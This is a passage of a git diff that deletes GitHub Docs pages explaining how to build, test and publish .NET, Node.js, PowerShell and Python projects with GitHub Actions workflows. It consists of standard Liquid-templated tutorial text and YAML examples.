mkdir staging && cp target/*.jar staging - - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: Package - path: staging -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-net.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-net.md deleted file mode 100644 index 2022a16a319d..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-net.md +++ /dev/null @@ -1,247 +0,0 @@ ---- -title: Building and testing .NET -intro: You can create a continuous integration (CI) workflow to build and test your .NET project. -redirect_from: - - /actions/guides/building-and-testing-net - - /actions/automating-builds-and-tests/building-and-testing-net -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Build & test .NET ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to build, test, and publish a .NET package. - - {% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with preinstalled software, which includes the .NET Core SDK. For a full list of up-to-date software and the preinstalled versions of .NET Core SDK, see [software installed on {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners). - -## Prerequisites - -You should already be familiar with YAML syntax and how it's used with {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions). - -We recommend that you have a basic understanding of the .NET Core SDK. For more information, see [Getting started with .NET](https://dotnet.microsoft.com/learn). - -## Using a .NET workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for .NET that should work for most .NET projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "dotnet". -1. On the ".NET" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the ".NET" workflow template, copy the following workflow code to a new file called `dotnet.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: .NET - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup .NET - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: 6.0.x - - name: Restore dependencies - run: dotnet restore - - name: Build - run: dotnet build --no-restore - - name: Test - run: dotnet test --no-build --verbosity normal - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the .NET version. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `dotnet.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying a .NET version - -To use a preinstalled version of the .NET Core SDK on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-dotnet` action. This action finds a specific version of .NET from the tools cache on each runner, and adds the necessary binaries to `PATH`. These changes will persist for the remainder of the job. - -The `setup-dotnet` action is the recommended way of using .NET with {% data variables.product.prodname_actions %}, because it ensures consistent behavior across different runners and different versions of .NET. If you are using a self-hosted runner, you must install .NET and add it to `PATH`. For more information, see the [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk) action. - -### Using multiple .NET versions - -```yaml -name: dotnet package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - dotnet-version: [ '3.1.x', '6.0.x' ] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup dotnet {% raw %}${{ matrix.dotnet-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %} - # You can test your matrix by printing the current dotnet version - - name: Display dotnet version - run: dotnet --version -``` - -### Using a specific .NET version - -You can configure your job to use a specific version of .NET, such as `6.0.22`. Alternatively, you can use semantic version syntax to get the latest minor release. This example uses the latest minor release of .NET 6. - -```yaml - - name: Setup .NET 6.x - uses: {% data reusables.actions.action-setup-dotnet %} - with: - # Semantic version range syntax or exact version of a dotnet version - dotnet-version: '6.x' -``` - -## Installing dependencies - -{% data variables.product.prodname_dotcom %}-hosted runners have the NuGet package manager installed. You can use the dotnet CLI to install dependencies from the NuGet package registry before building and testing your code. For example, the YAML below installs the `Newtonsoft` package. - -```yaml -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Setup dotnet - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '6.0.x' -- name: Install dependencies - run: dotnet add package Newtonsoft.Json --version 12.0.1 -``` - -### Caching dependencies - -You can cache NuGet dependencies for future workflows using the optional `cache` input. For example, the YAML below caches the NuGet `global-packages` folder, and then installs the `Newtonsoft` package. A second optional input, `cache-dependency-path`, can be used to specify the path to a dependency file: `packages.lock.json`. - -For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -```yaml -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Setup dotnet - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '6.x' - cache: true -- name: Install dependencies - run: dotnet add package Newtonsoft.Json --version 12.0.1 -``` - -> [!NOTE] -> Depending on the number of dependencies, it may be faster to use the dependency cache. Projects with many large dependencies should see a performance increase as it cuts down the time required for downloading. Projects with fewer dependencies may not see a significant performance increase and may even see a slight decrease due to how NuGet installs cached dependencies. The performance varies from project to project. - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. This example demonstrates how to use `dotnet build` and `dotnet test` in a job: - -```yaml -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Setup dotnet - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '6.0.x' -- name: Install dependencies - run: dotnet restore -- name: Build - run: dotnet build --no-restore -- name: Test with the dotnet CLI - run: dotnet test --no-build -``` - -## Packaging workflow data as artifacts - -After a workflow completes, you can upload the resulting artifacts for analysis. For example, you may need to save log files, core dumps, test results, or screenshots. The following example demonstrates how you can use the `upload-artifact` action to upload test results. - -For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -```yaml -name: dotnet package - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - strategy: - matrix: - dotnet-version: [ '3.1.x', '6.0.x' ] - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup dotnet - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %} - - name: Install dependencies - run: dotnet restore - - name: Test with dotnet - run: dotnet test --no-restore --logger trx --results-directory {% raw %}"TestResults-${{ matrix.dotnet-version }}"{% endraw %} - - name: Upload dotnet test results - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: {% raw %}dotnet-results-${{ matrix.dotnet-version }}{% endraw %} - path: {% raw %}TestResults-${{ matrix.dotnet-version }}{% endraw %} - # Use always() to always run this step to publish test results when there are test failures - if: {% raw %}${{ always() }}{% endraw %} -``` - -## Publishing to package registries - -You can configure your workflow to publish your .NET package to a package registry when your CI tests pass. You can use repository secrets to store any tokens or credentials needed to publish your binary. The following example creates and publishes a package to {% data variables.product.prodname_registry %} using `dotnet core cli`. - -```yaml -name: Upload dotnet package - -on: - release: - types: [created] - -jobs: - deploy: - runs-on: ubuntu-latest - permissions: - packages: write - contents: read - steps: - - uses: {% data reusables.actions.action-checkout %} - - uses: {% data reusables.actions.action-setup-dotnet %} - with: - dotnet-version: '6.0.x' # SDK Version to use. - source-url: https://nuget.pkg.github.com/<owner>/index.json - env: - NUGET_AUTH_TOKEN: {% raw %}${{secrets.GITHUB_TOKEN}}{% endraw %} - - run: dotnet build --configuration Release <my project> - - name: Create the package - run: dotnet pack --configuration Release <my project> - - name: Publish the package to GPR - run: dotnet nuget push <my project>/bin/Release/*.nupkg -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-nodejs.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-nodejs.md deleted file mode 100644 index 54f2fd3e1628..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-nodejs.md +++ /dev/null @@ -1,319 +0,0 @@ ---- -title: Building and testing Node.js -intro: You can create a continuous integration (CI) workflow to build and test your Node.js project. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions - - /actions/language-and-framework-guides/using-nodejs-with-github-actions - - /actions/guides/building-and-testing-nodejs - - /actions/automating-builds-and-tests/building-and-testing-nodejs -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Node - - JavaScript -shortTitle: Build & test Node.js ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to create a continuous integration (CI) workflow that builds and tests Node.js code. If your CI tests pass, you may want to deploy your code or publish a package. - -## Prerequisites - -We recommend that you have a basic understanding of Node.js, YAML, workflow configuration options, and how to create a workflow file. For more information, see: - -* [AUTOTITLE](/actions/learn-github-actions) -* [Getting started with Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/) - -{% data reusables.actions.enterprise-setup-prereq %} - -## Using a Node.js workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Node.js that should work for most Node.js projects. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Node.js". -1. Filter the selection of workflows by clicking **Continuous integration**. -1. On the "Node.js" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Node.js" workflow template, copy the following workflow code to a new file called `node.js.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Node.js CI - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - jobs: - build: - runs-on: ubuntu-latest - - strategy: - matrix: - node-version: [18.x, 20.x] - # See supported Node.js release schedule at https://nodejs.org/en/about/releases/ - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node-version }}{% endraw %} - cache: 'npm' - - run: npm ci - - run: npm run build --if-present - - run: npm test - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the Node versions you want to use. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `node.js.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying the Node.js version - -The easiest way to specify a Node.js version is by using the `setup-node` action provided by {% data variables.product.prodname_dotcom %}. For more information see, [`setup-node`](https://github.com/actions/setup-node/). - -The `setup-node` action takes a Node.js version as an input and configures that version on the runner. The `setup-node` action finds a specific version of Node.js from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. Using the `setup-node` action is the recommended way of using Node.js with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Node.js. If you are using a self-hosted runner, you must install Node.js and add it to `PATH`. - -The workflow template includes a matrix strategy that builds and tests your code with the Node.js versions listed in `node-version`. The 'x' in the version number is a wildcard character that matches the latest minor and patch release available for a version. Each version of Node.js specified in the `node-version` array creates a job that runs the same steps. - -Each job can access the value defined in the matrix `node-version` array using the `matrix` context. The `setup-node` action uses the context as the `node-version` input. The `setup-node` action configures each job with a different Node.js version before building and testing code. For more information about matrix strategies and contexts, see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix) and [AUTOTITLE](/actions/learn-github-actions/contexts). - -```yaml copy -strategy: - matrix: - node-version: ['18.x', '20.x'] - -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %} - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: {% raw %}${{ matrix.node-version }}{% endraw %} -``` - -Alternatively, you can build and test with exact Node.js versions. - -```yaml copy -strategy: - matrix: - node-version: ['10.17.0', '17.9.0'] -``` - -Or, you can build and test using a single version of Node.js too. - -```yaml copy -name: Node.js CI - -on: [push] - -jobs: - build: - - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' - - run: npm ci - - run: npm run build --if-present - - run: npm test -``` - -If you don't specify a Node.js version, {% data variables.product.prodname_dotcom %} uses the environment's default Node.js version. -For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Installing dependencies - -{% data variables.product.prodname_dotcom %}-hosted runners have npm and Yarn dependency managers installed. You can use npm and Yarn to install dependencies in your workflow before building and testing your code. The Windows and Linux {% data variables.product.prodname_dotcom %}-hosted runners also have Grunt, Gulp, and Bower installed. - -You can also cache dependencies to speed up your workflow. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -### Example using npm - -This example installs the versions in the `package-lock.json` or `npm-shrinkwrap.json` file and prevents updates to the lock file. Using `npm ci` is generally faster than running `npm install`. For more information, see [`npm ci`](https://docs.npmjs.com/cli/ci.html) and [Introducing `npm ci` for faster, more reliable builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' -- name: Install dependencies - run: npm ci -``` - -Using `npm install` installs the dependencies defined in the `package.json` file. For more information, see [`npm install`](https://docs.npmjs.com/cli/install). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' -- name: Install dependencies - run: npm install -``` - -### Example using Yarn - -This example installs the dependencies defined in the `yarn.lock` file and prevents updates to the `yarn.lock` file. For more information, see [`yarn install`](https://yarnpkg.com/en/docs/cli/install). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' -- name: Install dependencies - run: yarn --frozen-lockfile -``` - -Alternatively, you can install the dependencies defined in the `package.json` file. - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' -- name: Install dependencies - run: yarn -``` - -### Example using a private registry and creating the .npmrc file - -{% data reusables.actions.setup-node-intro %} - -To authenticate to your private registry, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -In the example below, the secret `NPM_TOKEN` stores the npm authentication token. The `setup-node` action configures the `.npmrc` file to read the npm authentication token from the `NODE_AUTH_TOKEN` environment variable. When using the `setup-node` action to create an `.npmrc` file, you must set the `NODE_AUTH_TOKEN` environment variable with the secret that contains your npm authentication token. - -Before installing dependencies, use the `setup-node` action to create the `.npmrc` file. The action has two input parameters. The `node-version` parameter sets the Node.js version, and the `registry-url` parameter sets the default registry. If your package registry uses scopes, you must use the `scope` parameter. For more information, see [`npm-scope`](https://docs.npmjs.com/misc/scope). - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - always-auth: true - node-version: '20.x' - registry-url: https://registry.npmjs.org - scope: '@octocat' -- name: Install dependencies - run: npm ci - env: - NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %} -``` - -The example above creates an `.npmrc` file with the following contents: - -```shell -//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN} -@octocat:registry=https://registry.npmjs.org/ -always-auth=true -``` - -### Example caching dependencies - -You can cache and restore the dependencies using the [`setup-node` action](https://github.com/actions/setup-node). - -The following example caches dependencies for npm. - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20' - cache: 'npm' -- run: npm install -- run: npm test -``` - -The following example caches dependencies for Yarn. - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20' - cache: 'yarn' -- run: yarn -- run: yarn test -``` - -The following example caches dependencies for pnpm (v6.10+). - -```yaml copy -{% data reusables.actions.actions-not-certified-by-github-comment %} - -# NOTE: pnpm caching support requires pnpm version >= 6.10.0 - -steps: -- uses: {% data reusables.actions.action-checkout %} -- uses: pnpm/action-setup@0609f0983b7a228f052f81ef4c3d6510cae254ad - with: - version: 6.10.0 -- uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20' - cache: 'pnpm' -- run: pnpm install -- run: pnpm test -``` - -If you have a custom requirement or need finer controls for caching, you can use the [`cache` action](https://github.com/marketplace/actions/cache). For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -## Building and testing your code - -You can use the same commands that you use locally to build and test your code. For example, if you run `npm run build` to run build steps defined in your `package.json` file and `npm test` to run your test suite, you would add those commands in your workflow file. - -```yaml copy -steps: -- uses: {% data reusables.actions.action-checkout %} -- name: Use Node.js - uses: {% data reusables.actions.action-setup-node %} - with: - node-version: '20.x' -- run: npm install -- run: npm run build --if-present -- run: npm test -``` - -## Packaging workflow data as artifacts - -You can save artifacts from your build and test steps to view after a job completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -## Publishing to package registries - -You can configure your workflow to publish your Node.js package to a package registry after your CI tests pass. For more information about publishing to npm and {% data variables.product.prodname_registry %}, see [AUTOTITLE](/actions/publishing-packages/publishing-nodejs-packages). diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell.md deleted file mode 100644 index 4addbb092fd7..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell.md +++ /dev/null @@ -1,237 +0,0 @@ ---- -title: Building and testing PowerShell -intro: You can create a continuous integration (CI) workflow to build and test your PowerShell project. -redirect_from: - - /actions/guides/building-and-testing-powershell - - /actions/automating-builds-and-tests/building-and-testing-powershell -versions: - fpt: '*' - ghes: '*' - ghec: '*' -authors: - - potatoqualitee -type: tutorial -topics: - - CI - - PowerShell -shortTitle: Build & test PowerShell ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to use PowerShell for CI. It describes how to use Pester, install dependencies, test your module, and publish to the PowerShell Gallery. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes PowerShell and Pester. - -For a full list of up-to-date software and the pre-installed versions of PowerShell and Pester, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -We recommend that you have a basic understanding of PowerShell and Pester. For more information, see: -* [Getting started with PowerShell](https://docs.microsoft.com/powershell/scripting/learn/ps101/01-getting-started) -* [Pester](https://pester.dev) - -{% data reusables.actions.enterprise-setup-prereq %} - -## Adding a workflow for Pester - -To automate your testing with PowerShell and Pester, you can add a workflow that runs every time a change is pushed to your repository. In the following example, `Test-Path` is used to check that a file called `resultsfile.log` is present. - -This example workflow file must be added to your repository's `.github/workflows/` directory: - -```yaml -name: Test PowerShell on Ubuntu -on: push - -jobs: - pester-test: - name: Pester test - runs-on: ubuntu-latest - steps: - - name: Check out repository code - uses: {% data reusables.actions.action-checkout %} - - name: Perform a Pester test from the command-line - shell: pwsh - run: Test-Path resultsfile.log | Should -Be $true - - name: Perform a Pester test from the Tests.ps1 file - shell: pwsh - run: | - Invoke-Pester Unit.Tests.ps1 -Passthru -``` - -* `shell: pwsh` - Configures the job to use PowerShell when running the `run` commands. -* `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. -* `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: - - ![Screenshot of a workflow run failure for a Pester test. Test reports "Expected $true, but got $false" and "Error: Process completed with exit code 1."](/assets/images/help/repository/actions-failed-pester-test-updated.png) - -* `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: - - ```powershell - Describe "Check results file is present" { - It "Check results file is present" { - Test-Path resultsfile.log | Should -Be $true - } - } - ``` - -## PowerShell module locations - -The table below describes the locations for various PowerShell modules in each {% data variables.product.prodname_dotcom %}-hosted runner. - -{% rowheaders %} - -|| Ubuntu | macOS | Windows | -|------|-------|------|----------| -|**PowerShell system modules** |`/opt/microsoft/powershell/7/Modules/*`|`/usr/local/microsoft/powershell/7/Modules/*`|`C:\program files\powershell\7\Modules\*`| -|**PowerShell add-on modules**|`/usr/local/share/powershell/Modules/*`|`/usr/local/share/powershell/Modules/*`|`C:\Modules\*`| -|**User-installed modules**|`/home/runner/.local/share/powershell/Modules/*`|`/Users/runner/.local/share/powershell/Modules/*`|`C:\Users\runneradmin\Documents\PowerShell\Modules\*`| - -{% endrowheaders %} - -> [!NOTE] -> On Ubuntu runners, Azure PowerShell modules are stored in `/usr/share/` instead of the default location of PowerShell add-on modules (i.e. `/usr/local/share/powershell/Modules/`). - -## Installing dependencies - -{% data variables.product.prodname_dotcom %}-hosted runners have PowerShell 7 and Pester installed. You can use `Install-Module` to install additional dependencies from the PowerShell Gallery before building and testing your code. - -> [!NOTE] -> The pre-installed packages (such as Pester) used by {% data variables.product.prodname_dotcom %}-hosted runners are regularly updated, and can introduce significant changes. As a result, it is recommended that you always specify the required package versions by using `Install-Module` with `-MaximumVersion`. - -You can also cache dependencies to speed up your workflow. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -For example, the following job installs the `SqlServer` and `PSScriptAnalyzer` modules: - -```yaml -jobs: - install-dependencies: - name: Install dependencies - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Install from PSGallery - shell: pwsh - run: | - Set-PSRepository PSGallery -InstallationPolicy Trusted - Install-Module SqlServer, PSScriptAnalyzer -``` - -> [!NOTE] -> By default, no repositories are trusted by PowerShell. When installing modules from the PowerShell Gallery, you must explicitly set the installation policy for `PSGallery` to `Trusted`. - -### Caching dependencies - -You can cache PowerShell dependencies using a unique key, which allows you to restore the dependencies for future workflows with the [`cache`](https://github.com/marketplace/actions/cache) action. For more information, see [AUTOTITLE](/actions/using-workflows/caching-dependencies-to-speed-up-workflows). - -PowerShell caches its dependencies in different locations, depending on the runner's operating system. For example, the `path` location used in the following Ubuntu example will be different for a Windows operating system. - -```yaml -steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Setup PowerShell module cache - id: cacher - uses: {% data reusables.actions.action-cache %} - with: - path: "~/.local/share/powershell/Modules" - key: {% raw %}${{ runner.os }}-SqlServer-PSScriptAnalyzer{% endraw %} - - name: Install required PowerShell modules - if: steps.cacher.outputs.cache-hit != 'true' - shell: pwsh - run: | - Set-PSRepository PSGallery -InstallationPolicy Trusted - Install-Module SqlServer, PSScriptAnalyzer -ErrorAction Stop -``` - -## Testing your code - -You can use the same commands that you use locally to build and test your code. - -### Using PSScriptAnalyzer to lint code - -The following example installs `PSScriptAnalyzer` and uses it to lint all `ps1` files in the repository. For more information, see [PSScriptAnalyzer on GitHub](https://github.com/PowerShell/PSScriptAnalyzer). - -```yaml - lint-with-PSScriptAnalyzer: - name: Install and run PSScriptAnalyzer - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Install PSScriptAnalyzer module - shell: pwsh - run: | - Set-PSRepository PSGallery -InstallationPolicy Trusted - Install-Module PSScriptAnalyzer -ErrorAction Stop - - name: Lint with PSScriptAnalyzer - shell: pwsh - run: | - Invoke-ScriptAnalyzer -Path *.ps1 -Recurse -Outvariable issues - $errors = $issues.Where({$_.Severity -eq 'Error'}) - $warnings = $issues.Where({$_.Severity -eq 'Warning'}) - if ($errors) { - Write-Error "There were $($errors.Count) errors and $($warnings.Count) warnings total." -ErrorAction Stop - } else { - Write-Output "There were $($errors.Count) errors and $($warnings.Count) warnings total." - } -``` - -## Packaging workflow data as artifacts - -You can upload artifacts to view after a workflow completes. For example, you may need to save log files, core dumps, test results, or screenshots. For more information, see [AUTOTITLE](/actions/using-workflows/storing-workflow-data-as-artifacts). - -The following example demonstrates how you can use the `upload-artifact` action to archive the test results received from `Invoke-Pester`. For more information, see the [`upload-artifact` action](https://github.com/actions/upload-artifact). - -```yaml -name: Upload artifact from Ubuntu - -on: [push] - -jobs: - upload-pester-results: - name: Run Pester and upload results - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Test with Pester - shell: pwsh - run: Invoke-Pester Unit.Tests.ps1 -Passthru | Export-CliXml -Path Unit.Tests.xml - - name: Upload test results - uses: {% data reusables.actions.action-upload-artifact %} - with: - name: ubuntu-Unit-Tests - path: Unit.Tests.xml - if: {% raw %}${{ always() }}{% endraw %} -``` - -The `always()` function configures the job to continue processing even if there are test failures. For more information, see [AUTOTITLE](/actions/learn-github-actions/contexts#always). - -## Publishing to PowerShell Gallery - -You can configure your workflow to publish your PowerShell module to the PowerShell Gallery when your CI tests pass. You can use secrets to store any tokens or credentials needed to publish your package. For more information, see [AUTOTITLE](/actions/security-guides/using-secrets-in-github-actions). - -The following example creates a package and uses `Publish-Module` to publish it to the PowerShell Gallery: - -```yaml -name: Publish PowerShell Module - -on: - release: - types: [created] - -jobs: - publish-to-gallery: - runs-on: ubuntu-latest - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Build and publish - env: - NUGET_KEY: {% raw %}${{ secrets.NUGET_KEY }}{% endraw %} - shell: pwsh - run: | - ./build.ps1 -Path /tmp/samplemodule - Publish-Module -Path /tmp/samplemodule -NuGetApiKey $env:NUGET_KEY -Verbose -``` diff --git a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-python.md b/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-python.md deleted file mode 100644 index bcf371960133..000000000000 --- a/content/actions/use-cases-and-examples/building-and-testing/building-and-testing-python.md +++ /dev/null @@ -1,465 +0,0 @@ ---- -title: Building and testing Python -intro: You can create a continuous integration (CI) workflow to build and test your Python project. -redirect_from: - - /actions/automating-your-workflow-with-github-actions/using-python-with-github-actions - - /actions/language-and-framework-guides/using-python-with-github-actions - - /actions/guides/building-and-testing-python - - /actions/automating-builds-and-tests/building-and-testing-python -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: tutorial -topics: - - CI - - Python -shortTitle: Build & test Python ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## Introduction - -This guide shows you how to build, test, and publish a Python package. - -{% data variables.product.prodname_dotcom %}-hosted runners have a tools cache with pre-installed software, which includes Python and PyPy. You don't have to install anything! For a full list of up-to-date software and the pre-installed versions of Python and PyPy, see [AUTOTITLE](/actions/using-github-hosted-runners/about-github-hosted-runners#supported-software). - -## Prerequisites - -You should be familiar with YAML and the syntax for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/learn-github-actions). - -We recommend that you have a basic understanding of Python, and pip. For more information, see: - -* [Getting started with Python](https://www.python.org/about/gettingstarted/) -* [Pip package manager](https://pypi.org/project/pip/) - -{% data reusables.actions.enterprise-setup-prereq %} - -## Using a Python workflow template - -{% data reusables.actions.workflow-templates-get-started %} - -{% data variables.product.prodname_dotcom %} provides a workflow template for Python that should work if your repository already contains at least one `.py` file. The subsequent sections of this guide give examples of how you can customize this workflow template. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.actions-tab %} -{% data reusables.actions.new-starter-workflow %} -1. The "Choose a workflow" page shows a selection of recommended workflow templates. Search for "Python application". -1. On the "Python application" workflow, click **Configure**. - -{%- ifversion ghes %} - - If you don't find the "Python application" workflow template, copy the following workflow code to a new file called `python-app.yml` in the `.github/workflows` directory of your repository. - - ```yaml copy - name: Python application - - on: - push: - branches: [ "main" ] - pull_request: - branches: [ "main" ] - - permissions: - contents: read - - jobs: - build: - runs-on: ubuntu-latest - - steps: - - uses: {% data reusables.actions.action-checkout %} - - name: Set up Python 3.13 - uses: {% data reusables.actions.action-setup-python %} - with: - python-version: "3.13" - - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install ruff pytest - if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - - name: Lint and format Python code with ruff - run: | - # Lint with the default set of ruff rules with GitHub Annotations - ruff check --format=github --target-version=py39 - # Verify the code is properly formatted - ruff format --diff --target-version=py39 - - name: Test with pytest - run: | - pytest - ``` - -{%- endif %} - -1. Edit the workflow as required. For example, change the Python version. -1. Click **Commit changes**. - -{% ifversion fpt or ghec %} - The `python-app.yml` workflow file is added to the `.github/workflows` directory of your repository. -{% endif %} - -## Specifying a Python version - -To use a pre-installed version of Python or PyPy on a {% data variables.product.prodname_dotcom %}-hosted runner, use the `setup-python` action. This action finds a specific version of Python or PyPy from the tools cache on each runner and adds the necessary binaries to `PATH`, which persists for the rest of the job. If a specific version of Python is not pre-installed in the tools cache, the `setup-python` action will download and set up the appropriate version from the [`python-versions`](https://github.com/actions/python-versions) repository. - -Using the `setup-python` action is the recommended way of using Python with {% data variables.product.prodname_actions %} because it ensures consistent behavior across different runners and different versions of Python. If you are using a self-hosted runner, you must install Python and add it to `PATH`. For more information, see the [`setup-python` action](https://github.com/marketplace/actions/setup-python). - -The table below describes the locations for the tools cache in each {% data variables.product.prodname_dotcom %}-hosted runner. - -{% rowheaders %} - -|| Ubuntu | 